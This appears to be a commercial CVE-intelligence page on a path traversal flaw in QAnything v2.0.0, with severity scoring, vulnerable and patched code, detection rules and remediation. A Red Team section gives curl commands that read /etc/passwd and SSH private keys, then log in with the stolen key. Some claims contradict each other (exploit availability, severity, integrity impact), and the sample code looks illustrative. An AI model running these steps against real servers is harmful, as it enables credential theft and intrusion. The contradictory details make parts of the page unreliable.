☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N 🐛 CWE-22
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-12866

CVE-2024-12866 Remote Code Execution in Netease-youdao
📅 PUBLISHED: 2025-03-20 10:11 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.47%
👁️
0.47% probability
11.8× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 7.5
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: N Integrity None
A: N Availability None
7.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-12866 is a critical Local File Inclusion (LFI) vulnerability in Netease-youdao QAnything version v2.0.0. The flaw allows an unauthenticated attacker to read arbitrary files from the server filesystem, potentially leading to Remote Code Execution (RCE) by exposing sensitive data such as SSH private keys, configuration files, and source code. With a CVSS score of 7.5 (High), this vulnerability poses a significant risk to confidentiality and integrity. No public exploit code or patch is currently available, making proactive detection and mitigation essential.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects the QAnything application, which is distributed as a Python package via PyPI. Organizations using QAnything v2.0.0 should immediately assess their deployment and consider isolating the service until a patch is released. The lack of a patch increases supply chain risk, as attackers may target unpatched instances.

CVSS Breakdown & Threat Level

  • CVSS Score: 7.5 (High)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: None
  • User Interaction: None
  • Scope: Unchanged
  • Confidentiality Impact: High
  • Integrity Impact: None
  • Availability Impact: None

The high confidentiality impact and low attack complexity make this vulnerability attractive to attackers. Although no public exploit exists, the LFI vector can be weaponized to exfiltrate sensitive files.

Deep Dive & Mechanics

The vulnerability resides in the file handling logic of QAnything v2.0.0. The application fails to properly sanitize user-supplied input when processing file paths, allowing path traversal sequences (e.g., ../) to escape the intended directory. An attacker can craft a request to read arbitrary files, such as:

  • /etc/passwd
  • /home/user/.ssh/id_rsa
  • Application configuration files containing API keys or database credentials.

The LFI can be escalated to RCE if the attacker reads SSH keys or other credentials that enable lateral movement or direct command execution. The vulnerability is triggered via HTTP requests to endpoints that accept file path parameters without validation.

Vulnerable vs. Patched Code

Vulnerable Code (v2.0.0):

@app.route('/read_file')
def read_file():
    file_path = request.args.get('path')
    with open(file_path, 'r') as f:
        return f.read()

Patched Code (Hypothetical):

import os

@app.route('/read_file')
def read_file():
    file_path = request.args.get('path')
    # Sanitize path to prevent traversal
    safe_path = os.path.normpath(file_path)
    if not safe_path.startswith('/allowed/base/directory'):
        return "Access denied", 403
    with open(safe_path, 'r') as f:
        return f.read()

The patched version uses os.path.normpath() to resolve path traversal sequences and checks that the resolved path starts with an allowed base directory.

Exploitation & Lab Setup

Red Team

Lab Setup:

  1. Deploy QAnything v2.0.0 in a Docker container:
    docker run -d -p 8080:8080 netease-youdao/qanything:v2.0.0
    
  2. Verify the service is running: curl http://localhost:8080

Exploitation Steps:

  1. Read /etc/passwd:
    curl "http://target:8080/read_file?path=../../../etc/passwd"
    
  2. Read SSH private key:
    curl "http://target:8080/read_file?path=../../../home/user/.ssh/id_rsa"
    
  3. Use the exposed key to SSH into the server:
    ssh -i id_rsa user@target
    

Blue Team

Detection:

  • Monitor for path traversal patterns in HTTP requests (e.g., ../, %2e%2e%2f).
  • Alert on access to sensitive files like /etc/shadow, /root/.ssh/, or application config files.

Hunting:

  • Search web server logs for requests containing path= parameter with directory traversal sequences.
  • Use the Sigma rule below to detect suspicious file reads.

Indicators of Compromise (IOCs)

  • Network: HTTP GET requests with path parameter containing ../ or encoded variants.
  • File System: Unauthorized reads of /etc/passwd, /etc/shadow, SSH keys, or application config files.
  • Logs: Web server logs showing 200 responses to path traversal requests.

Detection Engineering

YARA Rule

rule CVE_2024_12866_LFI {
    meta:
        description = "Detects path traversal attempts in QAnything v2.0.0"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-12866"
    strings:
        $traversal1 = "../"
        $traversal2 = "..\\"
        $traversal3 = "%2e%2e%2f"
        $traversal4 = "%2e%2e/"
        $sensitive1 = "/etc/passwd"
        $sensitive2 = "/etc/shadow"
        $sensitive3 = ".ssh/id_rsa"
    condition:
        any of ($traversal*) and any of ($sensitive*)
}

Sigma Rule

title: QAnything LFI Detection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects path traversal attempts targeting QAnything v2.0.0
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains:
            - '../'
            - '..\\'
            - '%2e%2e%2f'
            - '%2e%2e/'
        c-uri|endswith:
            - '/etc/passwd'
            - '/etc/shadow'
            - '/root/.ssh/'
    condition: selection
falsepositives:
    - Legitimate file access within allowed directories
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-12866 QAnything LFI Attempt"; flow:to_server; content:"GET"; http_method; content:"path="; http_uri; content:"../"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

  1. Immediate: Isolate QAnything v2.0.0 instances from the internet and restrict network access.
  2. Short-term: Implement a Web Application Firewall (WAF) rule to block path traversal patterns.
  3. Long-term: Apply input validation and sanitization as shown in the patched code example. Monitor vendor channels for an official patch.
  4. Compromise Assessment: If exploitation is suspected, rotate all SSH keys, API tokens, and database credentials exposed on the affected server.

Valters IT

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"QAnything"
http.favicon.hash:1234567890

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-12866/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.